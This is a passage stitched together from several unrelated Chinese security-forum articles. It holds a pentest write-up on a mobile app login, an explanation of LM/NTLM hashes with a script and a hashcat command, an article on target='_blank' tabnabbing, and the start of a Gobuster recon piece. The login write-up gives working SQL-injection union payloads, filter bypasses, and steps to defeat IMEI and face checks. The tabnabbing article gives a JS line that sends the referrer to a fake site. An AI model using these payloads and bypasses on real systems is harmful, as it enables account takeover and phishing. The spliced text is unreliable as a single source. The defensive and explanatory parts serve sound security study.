密文：QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果：App返回异常
明文：{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果：App返回正常
明文：{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果：App返回正常
至此已经可以判断该登录点就是一个注入了，可是返回结果始终都是“用户名或密码错”即使用了`' or '1'='1`
根据返回结果推测，后端的登录处的逻辑代码可能是这样的
userInfo = 'select * from userinfo where username = <userName>';
userPass = userInfo.password;
if (userPass == <passWord>){
return 'Login success';
}else{
return 'Login failed';
}
通过Union注入构造万能密码，是可以造成任意用户登陆的，测试过程如下
先使用`order by`测试，得知字段的数量为9个，构造`payload`
# 由于目标服务器带有过滤，所以这里简单的bypass一下
明文：{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果：App返回成功
由于`Oracle`在进行`union`查询时，所对应的字段数据类型也必须相同，所以还要进行字段数据类型的测试，最终结果如下
# 注意这里passWord我修改成了123，用来测试Union构造的万能密码是否可行
明文：{"userName":"TEST'union/**/select/**/1,'123','123','123','123','123','123','123',1 from dual-- ","passWord":"123","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：QSXBDUSV0QpJkd5tWYB1UdsBTTXFTbZBXOtFmSWh1TYZUbltEasdVevBTUNx2VSZTMF1kcSVFV2Ezah5EZYdVc1UUZWBXbUBzaVFGUsJTYYBnRkNXMXNlesVVZppERiRnUXFmdwd1UyZleWpFbuNFdsBzYK50aWBDMFZFUoh1Vzx2aOpkTrl1cKxWTpJlbTREeVFmRwd1UysGMVFGZIJWSaZFZzpkaXJDaYJmSOh1UEVDMkBzatR1MSpXUOxGWTBXOVFGMJpWW3VzaipGetd1ROJDZHFzVTpHbwUlTWhlUxhXVNpEbyQFcSpWTpJkbUVnTHJWYGpXWyAHMR1EbXVFWG1GZLh2aXFjWVJmSaR1UUBXMkNHarZlNsRlYK5EWTVTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkNDZWdFeJFjUKJFWPRnTXJ2QOZFV650Vl5EbYJlNwBzYqxGWUVjVrV2SONTW1ETVlZEcuNleOdVZOxGWSZDcwMmashFV1Y1altkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果：提示是弱密码（说明此方法可行）
接下来就是一个字段一个字段的改过去，判断哪个字段对应的是密码字段，测试结果如下
# 注意这里passWord我修改成了Ceshi123@@@，不再是弱口令了
明文：{"userName":"TEST'union/**/select/**/1,'123','123','Ceshi123@@@','123','123','123','123',1 from dual-- ","passWord":"Ceshi123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：k0VwAlUFNUaCZXerFWUPtEbIp1cWRlYKpFVTBnStR2cKpXW1olVitGbyQGcsVUZOJ1aUFTRrVmTwh1UFFzaNplUWRFerZkUQxmMiFHbFN2VkxWW3BHMR1EbH9EdSd0YhVzVTJzawEVYW5mU050VhtkTFRFcGxmUQB3MhVVMwY1SsJDVwR2MWFGdX9EWKdVYzw2VTRDbVFGUsdlVI50VONFetl1dS1WTp5kbTREeVFmUSVFVxwmRS5kVYFVcxUVY2B3VTFDb6ZFaw52UZBXMWNEawk1bwBTUNx2VSFHeFVGMNxGVwlTbhpkVY9EWG1WZLhGbXhVNw0UasJDZwxGMhNnSqlVNKZlYphWbTBXOVFmVkBTWxkkVNpmWuNFR4VVYCZVVVJUNrFmToNTYIZUbldlSUVFc50WYKRXbTpXSHd1TOpXWvp0aipkTYNFRsVEZ310aZ9mWGNVYkdUT5l0VlFGZVNFNkhVZLBHWTVVMrJ2Ms52U2wWRW5UNyQWNwtWZKJlVUVHZYV2Swh1UVFzaiNDbuNlQKVlUSBHWTVVMFN2bKpXWzVTRNtkTzkVNxUVZGBnbTpnTXVmTshlU2AHMjZEcIRFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW
结果：提示登录成功
在绕过后，发现程序出现了异常
仔细观察返回的数据，其中有username（用户名）、staffId（职工号）、email（邮箱）、staffName（姓名）、tel（手机号）、mobile（手机号），然而这些数据都是我刚刚自己随便构造的，这里应该需要一个真实的用户信息，供后续的登录流程使用
好在，还是有一个地方能获取真实的用户信息的
App还有一个忘记密码的功能（通常这里可以爆破用户名）
利用忘记密码的功能可以判断用户名是否存在，这里随便跑了一下字典，就出来好多用户名
自然而然地利用这些用户名使用短信验证码登录
获取验证码，然后解密数据包，惊奇的发现返回了用户基本信息
根据登录返回结果，重新测试`payload`，最终结果如下
明文：{"userName":"TEST\'union/**/select/**/<staffId>,\'Qwe123@@@\',\'<userName>\',\'Qwe123@@@\',\'<mobile>\',\'<mobile>\',\'<email>\',\'865166023309431\',<staffId> from dual -- ","passWord":"Qwe123@@@","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}
密文：xxxxxxxxx
结果：提示登录成功
仔细看返回的登录数据，已经正常了
然后重新替换数据包登录，提示绑定IMEI
这个绕过很简单，随便输入验证码，替换返回包，把resultCode从1001改为1000就行（常规操作）
最终还要个人脸认证
先用自己的脸检测，这时候手机会向服务器发包，burp把手机发向服务器的包直接丢掉就可以绕过
点击确定后，还有一个大数据包发向服务器，这里面包含的是人脸数据
修改数据包，将其中的人脸数据替换为空，然后发送
最终的最终，成功登录APP | 社区文章 |
## LM-Hash与NTLM-Hash
在windows下通过SAMInside提取到的密码Hash时，可以看到有两条，分别是LM-Hash和NTLM-HASH
这是对同一个密码的两种不同的加密方式，下面对其生成原理做个实验。
## Windows下LM-Hash生成原理（IBM设计的LM Hash算法）
实验环境:windows server 2003
使用工具:`SAMinside`
### LM HASH生成规则如下：
* 用户的密码被限制为最多14个字符。
* 用户的密码转换为大写。
* 密码转换为16进制字符串，不足14字节将会用0来再后面补全。
* 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流，并且长度位56bit，长度不足使用0在左边补齐长度，再分7bit为一组末尾加0，组成新的编码（str_to_key()函数处理）
* 上步骤得到的8byte二组，分别作为DES key为"KGS!@#$%"进行加密。
* 将二组DES加密后的编码拼接，得到最终LM HASH值。
**测试服务器密码为`123456`**
* 用户的密码被限制为最多14个字符
* 用户的密码转换为大写，大写转换后仍为它本身
* 转换为16进制字符串后，结果为313233343536，不足14字节采用0进行补全，补全结果为3132333435360000000000000000
* 固定长度的密码被分成两个7byte部分，也就是分为31323334353600和00000000000000，
先把31323334353600转换为比特流，比特流为110001001100100011001100110100001101010011011000000000，长度不足56bit使用0在左边补齐长度，补齐后为00110001001100100011001100110100001101010011011000000000。
再分7bit为一组末尾加0，组成新的编码，如下：
0011000 0
1001100 0
1000110 0
0110011 0
0100001 0
1010100 0
1101100 0
0000000 0
此时的密码字符串为0011000010011000100011000110011001000010101010001101100000000000
对应的8字节16进制编码（str_to_key()函数处理）：30988C6692C8D000
，同理知00000000000000对应的8字节16进制编码： 0000000000000000
* 将以上步骤得到的两组16进制字符串，分别作为DES加密key为魔术字符串`KGS!@#$%`进行加密
* 将两组DES加密后的编码拼接得到LM-HASH,计算结果与SAMinside提取结果相同
44EFCE164AB921CAAAD3B435B51404EE
python实现LM-HASH脚本
# coding=utf-8
import base64
import binascii
from pyDes import *
def DesEncrypt(str, Des_Key):
k = des(Des_Key, ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)
def Zero_padding(str):
b = []
l = len(str)
num = 0
for n in range(l):
if (num < 8) and n % 7 == 0:
b.append(str[n:n + 7] + '0')
num = num + 1
return ''.join(b)
if __name__ == "__main__":
test_str = "123456"
# 用户的密码转换为大写,并转换为16进制字符串
test_str = test_str.upper().encode('hex')
str_len = len(test_str)
# 密码不足14字节将会用0来补全
if str_len < 28:
test_str = test_str.ljust(28, '0')
# 固定长度的密码被分成两个7byte部分
t_1 = test_str[0:len(test_str) / 2]
t_2 = test_str[len(test_str) / 2:]
# 每部分转换成比特流，并且长度位56bit，长度不足使用0在左边补齐长度
t_1 = bin(int(t_1, 16)).lstrip('0b').rjust(56, '0')
t_2 = bin(int(t_2, 16)).lstrip('0b').rjust(56, '0')
# 再分7bit为一组末尾加0，组成新的编码
t_1 = Zero_padding(t_1)
t_2 = Zero_padding(t_2)
print t_1
t_1 = hex(int(t_1, 2))
t_2 = hex(int(t_2, 2))
t_1 = t_1[2:].rstrip('L')
t_2 = t_2[2:].rstrip('L')
if '0' == t_2:
t_2 = "0000000000000000"
t_1 = binascii.a2b_hex(t_1)
t_2 = binascii.a2b_hex(t_2)
# 上步骤得到的8byte二组，分别作为DES key为"KGS!@#$%"进行加密。
LM_1 = DesEncrypt("KGS!@#$%", t_1)
LM_2 = DesEncrypt("KGS!@#$%", t_2)
# 将二组DES加密后的编码拼接，得到最终LM HASH值。
LM = LM_1 + LM_2
print LM
## 挑战/响应模式（鉴权协议）
鉴权协议如下的鉴权协议又被称作挑战--认证模式，使用明文口令模式时，网络上传输的就是明文口令本身，这很容易被Sniffer捕获。
挑战/响应模式在传输信道是可被侦听Sniffer，但不可被篡改的情况下，这是一种简单而安全的方法。
## LAN Manager Challenge/Response
LAN Manager Challenge/Response 验证机制，简称LM。该方案比NTLM响应时间更早，安全性更低。
**SMB通信，Client A访问Server B通过LM身份验证的过程**
* 首先我们假设Server B的密码为 "WELCOME" , Server B已经缓存了密码的LM-HASH （原始密码在任何情况下都不能被缓存）
我们通过上面的脚本计算"WELCOME"的LM-HASH为 "c23413a8a1e7665faad3b435b51404ee"
* Server B -- 8bytes Challenge --> Client A
Server B向Client A发送了一个8字节挑战"0001020304050607"
* Client A会根据自己的访问Server B的密码明文计算并缓存密码的LM-HASH（Client A缓存输入密码的哈希值，原始密码会被丢弃，“原始密码在任何情况下都不能被缓存”，这是一条基本的安全准则）
然后在LM-HASH后5个0x00变成 "c23413a8a1e7665faad3b435b51404ee0000000000"
，变为21字节，然后划分成三组，每组7字节
| C23413A8A1E766 | 5FAAD3B435B514 | 04EE0000000000 |
* 每组7字节做为参数传递给str_to_key()函数，最终得到三组DESKEY，每组8字节
| C21A04748A0E9CCC | 5ED4B47642ACD428 | 0476800000000000 |
* 分别用三组DESKEY对8字节挑战 "0001020304050607" 进行标准DES加密后得到
C21A04748A0E9CCC ---- 对0001020304050607进行标准DES加密 --> CA1200723C41D577
5ED4B47642ACD428 ---- 对0001020304050607进行标准DES加密 --> AB18C764C6DEF34F
0476800000000000 ---- 对0001020304050607进行标准DES加密 --> A61BFA0671EA5FC8
Client
A最终获得一个24字节响应应"CA1200723C41D577AB18C764C6DEF34FA61BFA0671EA5FC8"（这个结果被称为response）
* Client A 将"CA1200723C41D577AB18C764C6DEF34FA61BFA0671EA5FC8" 送往Server B，Server B会根据自己缓存的LM-HASH进行同样的计算，并将计算结果与来自A的响应进行比较，如果匹配则身份验证通过
## NTLM-HASH
IBM设计的LM Hash算法存在几个弱点，微软在保持向后兼容性的同时提出了自己的挑战响应机制，NTLM Hash便应运而生。
NTLM-HASH计算如下
密码为123456，首先将密码字符串转化为ASCII字符串，ASCII字符串再转换为十六进制字符串，十六进制字符串再转化为Unicode字符串，然后对Unicode字符串使用MD4消息摘要算法，这会产生一个16字节的值，
NTLM-HASH
* 转化为ASCII字符串 123456 ----> 49 50 51 52 53 54
* 转换为十六进制字符串 49 50 51 52 53 54 ----> 31 32 33 34 35 36
* 转化为Unicode字符串 31 32 33 34 35 36 ----> 310032003300340035003600
* 使用MD4消息摘要算法 31 32 33 34 35 36 ----> 32ed87bdb5fdc5e9cba88547376818d4
计算结果与SAMinside提取结果相同
`32ed87bdb5fdc5e9cba88547376818d4`
## 各类HASH
## NTLM消息介绍
NTLM验证是一种`Challenge/Response` 验证机制，由三种消息组成：通常称为类型1（协商），类型2（质询）和类型3（身份验证）。
它基本上是这样工作的：
* 客户端向服务器发送类型1消息。这主要包含客户端支持的功能和服务器请求的功能列表。
* 服务器用类型2消息进行响应。这包含服务器支持并同意的功能列表。然而，最重要的是，它包含了服务器产生的挑战。
* 客户用类型3消息回复质询。这包含有关客户端的几条信息，包括客户端用户的域和用户名。它还包含对类型2挑战的一个或多个响应。（类型3消息中的响应是最关键的部分，因为它们向服务器证明客户端用户知道帐户密码。）
### 协商消息示例（此处为NTLMv2）
协商消息从客户端发送到服务器以启动NTLM身份验证。其主要目的是通过FLAG指明支持的选项来建立认证的“基本规则”。
十六进制协商消息：
4e544c4d53535000010000000732000006000600330000000b000b0028000000050093080000000f574f524b53544154494f4e444f4d41494e
将其分解如下：
wireshark 抓包分析协商消息数据包：
### 质询消息示例（此处为NTLMv2）
质询消息由服务器发送到客户端以响应客户端的协商消息。它用于完成与客户的选择的谈判，并且向客户提供挑战。它可以选择包含有关认证目标的信息。
十六进制质询消息：
4e544c4d53535000020000000c000c003000000001028100
0123456789abcdef0000000000000000620062003c000000
44004f004d00410049004e0002000c0044004f004d004100
49004e0001000c0053004500520056004500520004001400
64006f006d00610069006e002e0063006f006d0003002200
7300650072007600650072002e0064006f006d0061006900
6e002e0063006f006d0000000000
将其分解为其组成字段给出：
wireshark 抓包分析协商消息数据包：
### 身份验证消息示例（此处为NTLMv2）
身份验证消息
是身份验证的最后一步。该消息包含客户端对上一步挑战的响应，这表明客户知道账户密码而不直接发送密码。
身份验证消息
还指示身份验证目标（域或服务器名称）和身份验证帐户的用户名以及客户端工作站名称。
身份验证消息结构
客户端创建一个或多个挑战的响应，有六种类型的回应：
* LM（LAN Manager）响应 - 由大多数较早的客户端发送，这是“原始”响应类型。
* NTLM响应 - 这是由基于NT的客户端发送的，包括Windows 2000和XP。
* NTLMv2响应 - 在Windows NT Service Pack 4中引入的一种较新的响应类型。它替换启用了NTLM版本2的系统上的NTLM响应。
* LMv2响应 - 替代NTLM版本2系统上的LM响应。
* NTLM2会话响应 - 用于在没有NTLMv2身份验证的情况下协商NTLM2会话安全性时，此方案会更改LM和NTLM响应的语义。
* 匿名响应 - 当匿名上下文正在建立时使用; 没有提供实际的证书，也没有真正的身份验证。“存根”字段显示在类型3消息中。
wireshark 抓包分析身份验证消息数据包：
## NTLM响应
NTLM响应由较新的客户端发送。该方案解决了LM响应中的一些缺陷; 然而，它仍然被认为相当薄弱。
此外，NTLM响应几乎总是与LM响应一起发送。该算法的弱点可以用来获取不区分大小写的密码，以及用于查找NTLM响应使用的区分大小写密码的试错法。
### NTLM响应计算如下：
客户端计算密码字符串的NTLM哈希。
将16字节的NTLM散列填充为21个字节，
该值分成三个7字节。
这些值用于创建三个DES密钥（每个7字节的作为一个密钥）。
这每一个密钥用于对来自质询消息的挑战进行DES加密（产生三个8字节密文值）。
这三个密文值被连接在一起形成一个24字节的值。这是NTLM的回应。
**请注意：只有散列值的计算与LM方案不同; 响应的计算方式是相同的。**
**例子（一个使用密码“ SecREt01 ” 的用户，质询消息的挑战为“ 0x0123456789abcdef ”）。**
* 密码十六进制的Unicode字符串为“ 0x53006500630052004500740030003100 ”; 计算该值的MD4散列值，“ 0xcd06ca7c7e10c99b1d33b7485a2ed808 ”，这是NTLM哈希。
* 使用0填充到21个字节，得到“ 0xcd06ca7c7e10c99b1d33b7485a2ed8080000000000 ”。
* 将21字节分割成三部分“ 0xcd06ca7c7e10c9 ”，“ 0x9b1d33b7485a2e ”和“ 0xd8080000000000 ”。
* 三个密钥中的每一个用于对来质询消息的挑战（“ 0x0123456789abcdef ”）进行DES加密。
这会产生结果“ 0x25a98c1c31e81847 ”（使用我们的第一个键），“ 0x466b29b2df4680f3 ”（使用第二个键）和“
0x9958fb8c213a9cc6 ”（使用第三个键）。
* 这三个密文值被连接在一起形成24字节的NTLM响应：0x25a98c1c31e81847466b29b2df4680f39958fb8c213a9cc6
## NTLMv2响应
NTLM版本2（“NTLMv2”）被用来解决NTLM中存在的安全问题。当启用NTLMv2时，NTLM响应被替换为NTLMv2响应，并且LM响应被替换为LMv2响应。
**NTLMv2响应计算如下：**
计算获得NTLM密码哈希，方法和上文一样。
计算获得 NTLMv2哈希值，先将用户名转换为大写，然后和目标拼接在一起（目标为 domain or server name
的值，且区分大小写）组成字符串，然后计算这个字符串的Unicode十六进制字符串，使用上文16字节NTLM散列作为密钥，将HMAC-MD5消息认证码算法应用于Unicode十六进制字符串，得到16字节的值，即为NTLMv2-HASH。
构建被称为“blob”的数据块。“blob”的数据块简述：
使用16字节NTLMv2散列（在上面步骤中计算）作为密钥，将HMAC-MD5消息认证码算法应用于质询消息的挑战与blob连接字符串。这会产生一个16字节的HASH输出值。该值与blob连接以形成NTLMv2响应。
使用上图NTLMv2数据包，计算NTLMv2响应示例：
* 首先算出密码123456789的NTLM,得到C22B315C040AE6E0EFEE3518D830362B
* 计算获得 NTLMv2哈希值，先将用户名转换为大写
testapp --> TESTAPP
然后和domain拼接在一起（domain or server name 的值，且区分大小写）组成字符串
TESTAPPDESKTOP-DVIA6R3
然后计算这个字符串的Unicode十六进制字符串
54004500530054004100500050004400450053004B0054004F0050002D004400560049004100360052003300
使用上文16字节NTLM散列作为密钥，将HMAC-MD5消息认证码算法应用于Unicode十六进制字符串，得到16字节的NTLMv2
a92765662d236c31c620d365c89540d1
* 连接质询消息的挑战与blob得到字符串
4e783a49fe733dce0101000000000000891b7768f8b6d301bd64ae0fc8b412280000000002001e004400450053004b0054004f0050002d004d00490037004b0033003900560001001e004400450053004b0054004f0050002d004d00490037004b0033003900560004001e004400450053004b0054004f0050002d004d00490037004b0033003900560003001e004400450053004b0054004f0050002d004d00490037004b0033003900560007000800891b7768f8b6d30106000400020000000800300030000000000000000100000000200000cde827d049d6339086424b6e6880b54b98a279af64f927eb1db25b319c7d211e0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00310030002e00310030003200000000000000000000000000
使用NTLMv2散列（在上面步骤中计算）作为密钥，将HMAC-MD5消息认证码算法应用于此字符串，这会产生一个16字节的HASH输出值
03b4e9129fbe586e457d55412b39f324
该值与blob连接以形成NTLMv2响应
03b4e9129fbe586e457d55412b39f3240101000000000000891b7768f8b6d301bd64ae0fc8b412280000000002001e004400450053004b0054004f0050002d004d00490037004b0033003900560001001e004400450053004b0054004f0050002d004d00490037004b0033003900560004001e004400450053004b0054004f0050002d004d00490037004b0033003900560003001e004400450053004b0054004f0050002d004d00490037004b0033003900560007000800891b7768f8b6d30106000400020000000800300030000000000000000100000000200000cde827d049d6339086424b6e6880b54b98a279af64f927eb1db25b319c7d211e0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00310030002e00310030003200000000000000000000000000
然后我们发现这个和我们抓包看到的NTLMv2响应是一样的:
Hashcat的NTLMv2密码字典暴力破解应该就是还原上述过程对比ntlmv2_response，命令如下:
hashcat64.exe -m 5600 testapp::DESKTOP-DVIA6R3:4e783a49fe733dce:03b4e9129fbe586e457d55412b39f324:0101000000000000891b7768f8b6d301bd64ae0fc8b412280000000002001e004400450053004b0054004f0050002d004d00490037004b0033003900560001001e004400450053004b0054004f0050002d004d00490037004b0033003900560004001e004400450053004b0054004f0050002d004d00490037004b0033003900560003001e004400450053004b0054004f0050002d004d00490037004b0033003900560007000800891b7768f8b6d30106000400020000000800300030000000000000000100000000200000cde827d049d6339086424b6e6880b54b98a279af64f927eb1db25b319c7d211e0a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00310030002e00310030003200000000000000000000000000 pwd.txt -o found.txt --force | 社区文章 |
作者：jinliming2@知道创宇404实验室
原文：<http://mp.weixin.qq.com/s/T4jQUdS-rar7hr2EWilJrw>
在网页中使用链接时，如果想要让浏览器自动在新的标签页打开指定的地址，通常的做法就是在 `a` 标签上添加 `target="_blank"` 属性。
然而，就是这个属性，为钓鱼攻击者带来了可乘之机。
#### 起源
##### `parent` 与 `opener`
在说 `opener` 之前，可以先聊聊 `<iframe>` 中的 `parent`。
我们知道，在 `<iframe>` 中提供了一个用于父子页面交互的对象，叫做 `window.parent`，我们可以通过 `window.parent`
对象来从框架中的页面访问父级页面的 `window`。
`opener` 与 `parent` 一样，只不过是用于 `<a target="_blank">` 在新标签页打开的页面的。通过 `<a
target="_blank">` 打开的页面，可以直接使用 `window.opener` 来访问来源页面的 `window` 对象。
##### 同域与跨域
浏览器提供了完整的跨域保护，在域名相同时， `parent` 对象和 `opener` 对象实际上就直接是上一级的 `window` 对象；而当域名不同时，
`parent` 和 `opener` 则是经过包装的一个 `global` 对象。这个 `global`
对象仅提供非常有限的属性访问，并且在这仅有的几个属性中，大部分也都是不允许访问的（访问会直接抛出 `DOMException`）。
在 `<iframe>` 中，提供了一个 `sandbox` 属性用于控制框架中的页面的权限，因此即使是同域，也可以控制 `<iframe>` 的安全性。
#### 利用
如果，你的网站上有一个链接，使用了
`target="_blank"`，那么一旦用户点击这个链接并进入一个新的标签，新标签中的页面如果存在恶意代码，就可以将你的网站直接导航到一个虚假网站。此时，如果用户回到你的标签页，看到的就是被替换过的页面了。
##### 详细步骤
1.在你的网站 `https://example.com` 上存在一个链接： `<a
href="https://an.evil.site"target="_blank">进入一个“邪恶”的网站</a>`
2.用户点击了这个链接，在新的标签页打开了这个网站。这个网站可以通过 HTTP Header 中的 `Referer` 属性来判断用户的来源。
并且，这个网站上包含着类似于这样的 JavaScript 代码：
const url=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'+url);
3.此时，用户在继续浏览这个新的标签页，而原来的网站所在的标签页此时已经被导航到了
`https://a.fake.site/?https%3A%2F%2Fexample.com%2F`。
4.恶意网站 `https://a.fake.site` 根据 Query String
来伪造一个足以欺骗用户的页面，并展示出来（期间还可以做一次跳转，使得浏览器的地址栏更具有迷惑性）。
5.用户关闭 `https://an.evil.site` 的标签页，回到原来的网站………………已经回不去了。
上面的攻击步骤是在跨域的情况下的，在跨域情况下， `opener` 对象和 `parent`
一样，是受到限制的，仅提供非常有限的属性访问，并且在这仅有的几个属性中，大部分也都是不允许访问的（访问会直接抛出 `DOMException`）。
但是与 `parent` 不同的是， **在跨域的情况下，`opener` 仍然可以调用 `location.replace` 方法而 `parent`
则不可以**。
如果是在同域的情况下（比如一个网站上的某一个页面被植入了恶意代码），则情况要比上面严重得多。
#### 防御
`<iframe>` 中有 `sandbox` 属性，而链接，则可以使用下面的办法：
##### 1\. Referrer Policy 和 noreferrer
上面的攻击步骤中，用到了 HTTP Header 中的 `Referer` 属性，实际上可以在 HTTP 的响应头中增加 `ReferrerPolicy`
头来保证来源隐私安全。
`ReferrerPolicy` 需要修改后端代码来实现，而在前端，也可以使用 `<a>` 标签的 `rel` 属性来指定
`rel="noreferrer"` 来保证来源隐私安全。
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>
但是要注意的是：即使限制了 `referer` 的传递，仍然不能阻止原标签被恶意跳转。
##### 2\. noopener
为了安全，现代浏览器都支持在 `<a>` 标签的 `rel` 属性中指定 `rel="noopener"`，这样，在打开的新标签页中，将无法再使用
`opener` 对象了，它为设置为了 `null`。
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>
##### 3\. JavaScript
`noopener` 属性看似是解决了所有问题，但是...浏览器的兼容性问题...
可以看到，现在绝大多数浏览器都已经兼容了 `rel="noopener"`
属性了。但是，为了保护稍旧的“近代”浏览器或是很旧的“古代”浏览器甚至是“远古”浏览器，只有 `noopener` 属性还是远远不够的。
这时，就只能请出下面这段原生 JavaScript 来帮忙了。
"use strict";
function openUrl(url) {
var newTab = window.open();
newTab.opener = null;
newTab.location = url;
}
#### 推荐
首先，在网站中的链接上，如果使用了 `target="_blank"`，就要带上 `rel="noopener"`，并且建议带上
`rel="noreferrer"`。类似于这样：
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>
当然，在跳转到第三方网站的时候，为了 SEO 权重，还建议带上 `rel="nofollow"`，所以最终类似于这样：
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>
#### 性能
最后，再来说说性能问题。
如果网站使用了 `<a target="_blank">`，那么新打开的标签页的性能将会影响到当前页面。此时如果新打开的页面中执行了一个非常庞大的
JavaScript 脚本，那么原始标签页也会受到影响，会出现卡顿的现象（当然不至于卡死）。
而如果在链接中加入了 `noopener`，则此时两个标签页将会互不干扰，使得原页面的性能不会受到新页面的影响。
* * * | 社区文章 |
# 前言
某次渗透过程中碰到了个设备产品，通过一些黑盒测试小技巧获取目标权限
# 信息收集
首先拿到了目标，同样也需要对设备进行信息收集，登录页面有滑块验证和账号密码请求包加密
暂时先放弃从JS里获取密码加密方法，先尝试找一些接口来获取信息，查看源代码
访问一下JS目录，这里有一个小技巧，当目录存在时会自动在后面加上 /, 例如浏览器访问 /js, 将会变成 /js/ 来访问
https://xxx.xxx.xxx.xxx/js
这里简单测试一下发现存在的目录可以通过判断403来确定目录存在，对下一步文件爆破提供帮助，这里使用Gobuster进行爆破
获取到的存在的目录信息
/js/ (Status: 403)
/lan/ (Status: 403)
